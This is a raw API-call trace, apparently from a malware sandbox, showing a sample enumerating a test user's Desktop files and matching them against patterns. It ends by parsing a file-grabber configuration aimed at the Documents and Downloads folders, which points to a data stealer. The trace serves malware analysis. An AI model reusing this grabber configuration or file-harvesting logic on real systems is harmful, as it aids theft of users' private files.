LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.965] StrCpyW (in: psz1=0x6f45b8, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.965] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.965] PathMatchSpecW (pszFile="YvzSRADjriauckm5j.png", pszSpec="*.lnk") returned 0 [0270.966] LocalFree (hMem=0x6f45b8) returned 0x0 [0270.966] LocalFree (hMem=0x73fd18) returned 0x0 [0270.966] FindNextFileW (in: hFindFile=0x6ca580, lpFindFileData=0x24ef28 | out: lpFindFileData=0x24ef28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e84310, ftCreationTime.dwHighDateTime=0x1d89786, ftLastAccessTime.dwLowDateTime=0xd2f532f0, ftLastAccessTime.dwHighDateTime=0x1d89b85, ftLastWriteTime.dwLowDateTime=0xd2f532f0, ftLastWriteTime.dwHighDateTime=0x1d89b85, nFileSizeHigh=0x0, nFileSizeLow=0x5434, dwReserved0=0x24ef9c, dwReserved1=0x0, cFileName="_NmpPN.xlsx", cAlternateFileName="_NMPPN~1.XLS")) returned 1 [0270.966] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fd570 [0270.966] StrCpyW (in: psz1=0x6fd570, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" [0270.966] lstrlenW (lpString="\\") returned 1 [0270.966] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned 75 [0270.966] LocalAlloc (uFlags=0x40, uBytes=0x198) returned 0x6f45b8 [0270.966] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.966] lstrlenW (lpString="*.lnk") returned 5 [0270.966] lstrlenW (lpString="*.lnk") returned 5 [0270.966] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.966] StrCpyW (in: psz1=0x73fed0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.966] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.966] PathMatchSpecW (pszFile="_NmpPN.xlsx", pszSpec="*.lnk") returned 0 [0270.966] LocalFree (hMem=0x73fed0) returned 0x0 [0270.967] LocalFree (hMem=0x73fd18) returned 0x0 [0270.967] FindNextFileW (in: hFindFile=0x6ca580, lpFindFileData=0x24ef28 | out: lpFindFileData=0x24ef28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e84310, ftCreationTime.dwHighDateTime=0x1d89786, ftLastAccessTime.dwLowDateTime=0xd2f532f0, ftLastAccessTime.dwHighDateTime=0x1d89b85, ftLastWriteTime.dwLowDateTime=0xd2f532f0, ftLastWriteTime.dwHighDateTime=0x1d89b85, nFileSizeHigh=0x0, nFileSizeLow=0x5434, dwReserved0=0x24ef9c, dwReserved1=0x0, cFileName="_NmpPN.xlsx", cAlternateFileName="_NMPPN~1.XLS")) returned 0 [0270.967] LocalFree (hMem=0x6f5538) returned 0x0 [0270.967] FindClose (in: hFindFile=0x6ca580 | out: hFindFile=0x6ca580) returned 1 [0270.968] LocalFree (hMem=0x73f900) returned 0x0 [0270.968] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d68ba0, ftCreationTime.dwHighDateTime=0x1d8a329, ftLastAccessTime.dwLowDateTime=0x147f150, ftLastAccessTime.dwHighDateTime=0x1d8a631, ftLastWriteTime.dwLowDateTime=0x147f150, ftLastWriteTime.dwHighDateTime=0x1d8a631, nFileSizeHigh=0x0, nFileSizeLow=0x2780, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="sAkjmrs297QmdvH.ppt", cAlternateFileName="SAKJMR~1.PPT")) returned 1 [0270.968] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f900 [0270.969] StrCpyW (in: psz1=0x73f900, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" [0270.969] lstrlenW (lpString="\\") returned 1 [0270.969] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned 56 [0270.969] LocalAlloc (uFlags=0x40, uBytes=0x172) returned 0x73fd18 [0270.969] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.969] lstrlenW (lpString="*.lnk") returned 5 [0270.969] lstrlenW (lpString="*.lnk") returned 5 [0270.969] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.969] StrCpyW (in: psz1=0x73faa0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.969] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.969] PathMatchSpecW (pszFile="sAkjmrs297QmdvH.ppt", pszSpec="*.lnk") returned 0 [0270.970] LocalFree (hMem=0x73faa0) returned 0x0 [0270.970] LocalFree (hMem=0x73f900) returned 0x0 [0270.970] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b88ee0, ftCreationTime.dwHighDateTime=0x1d89b04, ftLastAccessTime.dwLowDateTime=0x98392260, ftLastAccessTime.dwHighDateTime=0x1d89c44, ftLastWriteTime.dwLowDateTime=0x98392260, ftLastWriteTime.dwHighDateTime=0x1d89c44, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="TeGSsIZfKgqL6XR9qxB1.xlsx", cAlternateFileName="TEGSSI~1.XLS")) returned 1 [0270.970] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f900 [0270.970] StrCpyW (in: psz1=0x73f900, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" [0270.970] lstrlenW (lpString="\\") returned 1 [0270.970] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned 56 [0270.970] LocalAlloc (uFlags=0x40, uBytes=0x172) returned 0x73fd18 [0270.970] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.970] lstrlenW (lpString="*.lnk") returned 5 [0270.970] lstrlenW (lpString="*.lnk") returned 5 [0270.970] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.970] StrCpyW (in: psz1=0x73fab0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.971] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.971] PathMatchSpecW (pszFile="TeGSsIZfKgqL6XR9qxB1.xlsx", pszSpec="*.lnk") returned 0 [0270.971] LocalFree (hMem=0x73fab0) returned 0x0 [0270.971] LocalFree (hMem=0x73f900) returned 0x0 [0270.971] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b88ee0, ftCreationTime.dwHighDateTime=0x1d89b04, ftLastAccessTime.dwLowDateTime=0x98392260, ftLastAccessTime.dwHighDateTime=0x1d89c44, ftLastWriteTime.dwLowDateTime=0x98392260, ftLastWriteTime.dwHighDateTime=0x1d89c44, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="TeGSsIZfKgqL6XR9qxB1.xlsx", cAlternateFileName="TEGSSI~1.XLS")) returned 0 [0270.971] LocalFree (hMem=0x6f5310) returned 0x0 [0270.971] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0270.972] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.976] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b41820, ftCreationTime.dwHighDateTime=0x1d896e8, ftLastAccessTime.dwLowDateTime=0x4f5c9770, ftLastAccessTime.dwHighDateTime=0x1d89b40, ftLastWriteTime.dwLowDateTime=0x4f5c9770, ftLastWriteTime.dwHighDateTime=0x1d89b40, nFileSizeHigh=0x0, nFileSizeLow=0x29dd, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="wOJkTKDexj.jpg", cAlternateFileName="WOJKTK~1.JPG")) returned 1 [0270.976] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f4e8 [0270.977] StrCpyW (in: psz1=0x73f4e8, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN" [0270.977] lstrlenW (lpString="\\") returned 1 [0270.977] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN") returned 44 [0270.977] LocalAlloc (uFlags=0x40, uBytes=0x15a) returned 0x73f900 [0270.977] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.977] lstrlenW (lpString="*.lnk") returned 5 [0270.977] lstrlenW (lpString="*.lnk") returned 5 [0270.977] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.977] StrCpyW (in: psz1=0x73f668, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.977] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.977] PathMatchSpecW (pszFile="wOJkTKDexj.jpg", pszSpec="*.lnk") returned 0 [0270.978] LocalFree (hMem=0x73f668) returned 0x0 [0270.978] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.978] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b41820, ftCreationTime.dwHighDateTime=0x1d896e8, ftLastAccessTime.dwLowDateTime=0x4f5c9770, ftLastAccessTime.dwHighDateTime=0x1d89b40, ftLastWriteTime.dwLowDateTime=0x4f5c9770, ftLastWriteTime.dwHighDateTime=0x1d89b40, nFileSizeHigh=0x0, nFileSizeLow=0x29dd, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="wOJkTKDexj.jpg", cAlternateFileName="WOJKTK~1.JPG")) returned 0 [0270.978] LocalFree (hMem=0x6f50e8) returned 0x0 [0270.978] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0270.979] LocalFree (hMem=0x73ef90) returned 0x0 [0270.979] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb370b50, ftCreationTime.dwHighDateTime=0x1d89bf1, ftLastAccessTime.dwLowDateTime=0x9e92f140, ftLastAccessTime.dwHighDateTime=0x1d8a216, ftLastWriteTime.dwLowDateTime=0x9e92f140, ftLastWriteTime.dwHighDateTime=0x1d8a216, nFileSizeHigh=0x0, nFileSizeLow=0x14aca, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="TS-Etr1.png", cAlternateFileName="")) returned 1 [0270.979] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.979] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.979] lstrlenW (lpString="TS-Etr1.png") returned 11 [0270.979] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.979] LocalAlloc (uFlags=0x40, uBytes=0x14c) returned 0x73f4e8 [0270.979] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.979] lstrlenW (lpString="*.lnk") returned 5 [0270.979] lstrlenW (lpString="*.lnk") returned 5 [0270.979] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.979] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.980] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.980] PathMatchSpecW (pszFile="TS-Etr1.png", pszSpec="*.lnk") returned 0 [0270.980] LocalFree (hMem=0x73ef90) returned 0x0 [0270.980] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.980] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6aa35e0, ftCreationTime.dwHighDateTime=0x1d89830, ftLastAccessTime.dwLowDateTime=0x4daa5090, ftLastAccessTime.dwHighDateTime=0x1d8a2b4, ftLastWriteTime.dwLowDateTime=0x4daa5090, ftLastWriteTime.dwHighDateTime=0x1d8a2b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b2, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="uCLXvcrKiNF5.mp3", cAlternateFileName="UCLXVC~1.MP3")) returned 1 [0270.980] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.980] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.980] lstrlenW (lpString="uCLXvcrKiNF5.mp3") returned 16 [0270.980] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.980] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x73f4e8 [0270.981] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.981] lstrlenW (lpString="*.lnk") returned 5 [0270.981] lstrlenW (lpString="*.lnk") returned 5 [0270.981] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.981] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.981] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.981] PathMatchSpecW (pszFile="uCLXvcrKiNF5.mp3", pszSpec="*.lnk") returned 0 [0270.981] LocalFree (hMem=0x73ef90) returned 0x0 [0270.981] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0270.981] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x73ef90 [0270.981] StrStrW (lpFirst="*.txt,*.jpg", lpSrch=",") returned=",*.jpg" [0270.982] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0270.982] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x6fb588 [0270.982] StrCpyW (in: psz1=0x73ef90, psz2="*.txt" | out: psz1="*.txt") returned="*.txt" [0270.982] LocalFree (hMem=0x6fb588) returned 0x0 [0270.982] PathMatchSpecW (pszFile="uCLXvcrKiNF5.mp3", pszSpec="*.txt") returned 0 [0270.982] LocalFree (hMem=0x73ef90) returned 0x0 [0270.982] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0270.982] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x73ef90 [0270.982] StrStrW (lpFirst="*.jpg", lpSrch=",") returned 0x0 [0270.983] lstrlenW (lpString="*.jpg") returned 5 [0270.983] lstrlenW (lpString="*.jpg") returned 5 [0270.983] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.983] StrCpyW (in: psz1=0x73ef90, psz2="*.jpg" | out: psz1="*.jpg") returned="*.jpg" [0270.983] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.983] PathMatchSpecW (pszFile="uCLXvcrKiNF5.mp3", pszSpec="*.jpg") returned 0 [0270.983] LocalFree (hMem=0x73ef90) returned 0x0 [0270.984] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.984] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fd7020, ftCreationTime.dwHighDateTime=0x1d8a705, ftLastAccessTime.dwLowDateTime=0x53e9e000, ftLastAccessTime.dwHighDateTime=0x1d8a72e, ftLastWriteTime.dwLowDateTime=0x53e9e000, ftLastWriteTime.dwHighDateTime=0x1d8a72e, nFileSizeHigh=0x0, nFileSizeLow=0x65d0, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="uGL_nBtv8U0omEe.mp3", cAlternateFileName="UGL_NB~1.MP3")) returned 1 [0270.984] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.984] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.984] lstrlenW (lpString="uGL_nBtv8U0omEe.mp3") returned 19 [0270.984] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.984] LocalAlloc (uFlags=0x40, uBytes=0x15c) returned 0x73f4e8 [0270.984] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.984] lstrlenW (lpString="*.lnk") returned 5 [0270.984] lstrlenW (lpString="*.lnk") returned 5 [0270.984] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.985] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.985] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.985] PathMatchSpecW (pszFile="uGL_nBtv8U0omEe.mp3", pszSpec="*.lnk") returned 0 [0270.985] LocalFree (hMem=0x73ef90) returned 0x0 [0270.985] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.985] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b73e90, ftCreationTime.dwHighDateTime=0x1d89b16, ftLastAccessTime.dwLowDateTime=0xca82c640, ftLastAccessTime.dwHighDateTime=0x1d89f14, ftLastWriteTime.dwLowDateTime=0xca82c640, ftLastWriteTime.dwHighDateTime=0x1d89f14, nFileSizeHigh=0x0, nFileSizeLow=0x24ff, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="V0BOax3XYUc.flv", cAlternateFileName="V0BOAX~1.FLV")) returned 1 [0270.985] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.986] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.986] lstrlenW (lpString="V0BOax3XYUc.flv") returned 15 [0270.986] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.986] LocalAlloc (uFlags=0x40, uBytes=0x154) returned 0x73f4e8 [0270.986] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.986] lstrlenW (lpString="*.lnk") returned 5 [0270.986] lstrlenW (lpString="*.lnk") returned 5 [0270.986] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.986] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.986] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.986] PathMatchSpecW (pszFile="V0BOax3XYUc.flv", pszSpec="*.lnk") returned 0 [0270.987] LocalFree (hMem=0x73ef90) returned 0x0 [0270.987] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.987] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933235e0, ftCreationTime.dwHighDateTime=0x1d89bef, ftLastAccessTime.dwLowDateTime=0x4c79860, ftLastAccessTime.dwHighDateTime=0x1d8a453, ftLastWriteTime.dwLowDateTime=0x4c79860, ftLastWriteTime.dwHighDateTime=0x1d8a453, nFileSizeHigh=0x0, nFileSizeLow=0x6750, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="VH6k542D7T1vL6_xi1Ht.ppt", cAlternateFileName="VH6K54~1.PPT")) returned 1 [0270.987] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.987] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.987] lstrlenW (lpString="VH6k542D7T1vL6_xi1Ht.ppt") returned 24 [0270.987] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.987] LocalAlloc (uFlags=0x40, uBytes=0x166) returned 0x73f4e8 [0270.987] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.987] lstrlenW (lpString="*.lnk") returned 5 [0270.987] lstrlenW (lpString="*.lnk") returned 5 [0270.988] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.988] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.988] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.988] PathMatchSpecW (pszFile="VH6k542D7T1vL6_xi1Ht.ppt", pszSpec="*.lnk") returned 0 [0270.989] LocalFree (hMem=0x73ef90) returned 0x0 [0270.989] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.989] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef310, ftCreationTime.dwHighDateTime=0x1d89872, ftLastAccessTime.dwLowDateTime=0x86735ed0, ftLastAccessTime.dwHighDateTime=0x1d8a1b5, ftLastWriteTime.dwLowDateTime=0x86735ed0, ftLastWriteTime.dwHighDateTime=0x1d8a1b5, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="zE9T2tmm2pS V2aYac.mp3", cAlternateFileName="ZE9T2T~1.MP3")) returned 1 [0270.989] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.989] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.989] lstrlenW (lpString="zE9T2tmm2pS V2aYac.mp3") returned 22 [0270.989] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.989] LocalAlloc (uFlags=0x40, uBytes=0x162) returned 0x73f4e8 [0270.989] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.989] lstrlenW (lpString="*.lnk") returned 5 [0270.989] lstrlenW (lpString="*.lnk") returned 5 [0270.989] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.989] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.990] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.990] PathMatchSpecW (pszFile="zE9T2tmm2pS V2aYac.mp3", pszSpec="*.lnk") returned 0 [0270.990] LocalFree (hMem=0x73ef90) returned 0x0 [0270.990] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.990] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x941a9a10, ftCreationTime.dwHighDateTime=0x1d8970d, ftLastAccessTime.dwLowDateTime=0x79bacb60, ftLastAccessTime.dwHighDateTime=0x1d8a430, ftLastWriteTime.dwLowDateTime=0x79bacb60, ftLastWriteTime.dwHighDateTime=0x1d8a430, nFileSizeHigh=0x0, nFileSizeLow=0x994a, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="zegrkvRYnOvSz.m4a", cAlternateFileName="ZEGRKV~1.M4A")) returned 1 [0270.990] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.990] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.991] lstrlenW (lpString="zegrkvRYnOvSz.m4a") returned 17 [0270.991] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.991] LocalAlloc (uFlags=0x40, uBytes=0x158) returned 0x73f4e8 [0270.991] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.991] lstrlenW (lpString="*.lnk") returned 5 [0270.991] lstrlenW (lpString="*.lnk") returned 5 [0270.991] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.991] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.991] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.991] PathMatchSpecW (pszFile="zegrkvRYnOvSz.m4a", pszSpec="*.lnk") returned 0 [0270.991] LocalFree (hMem=0x73ef90) returned 0x0 [0270.992] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.992] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x941a9a10, ftCreationTime.dwHighDateTime=0x1d8970d, ftLastAccessTime.dwLowDateTime=0x79bacb60, ftLastAccessTime.dwHighDateTime=0x1d8a430, ftLastWriteTime.dwLowDateTime=0x79bacb60, ftLastWriteTime.dwHighDateTime=0x1d8a430, nFileSizeHigh=0x0, nFileSizeLow=0x994a, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="zegrkvRYnOvSz.m4a", cAlternateFileName="ZEGRKV~1.M4A")) returned 0 [0270.992] LocalFree (hMem=0x6f4ec0) returned 0x0 [0270.992] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0270.992] LocalFree (hMem=0x73f3a8) returned 0x0 [0270.993] LocalFree (hMem=0x6f4848) returned 0x0 [0270.994] LocalFree (hMem=0x716f88) returned 0x0 [0270.994] LocalFree (hMem=0x6f9830) returned 0x0 [0270.994] LocalFree (hMem=0x6f9a70) returned 0x0 [0270.995] LocalFree (hMem=0x6bf278) returned 0x0 [0270.995] LocalFree (hMem=0x6f9ca0) returned 0x0 [0270.995] LocalFree (hMem=0x6f9e88) returned 0x0 [0270.995] LocalFree (hMem=0x6fa048) returned 0x0 [0270.996] LocalFree (hMem=0x6fa200) returned 0x0 [0270.996] LocalFree (hMem=0x6fa3b8) returned 0x0 [0270.996] StrStrW (lpFirst="files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="grbr_") returned="grbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.996] lstrlenW (lpString="documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 201 [0270.996] LocalAlloc (uFlags=0x40, uBytes=0x192) returned 0x6bf278 [0270.996] StrStrW (lpFirst="documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") 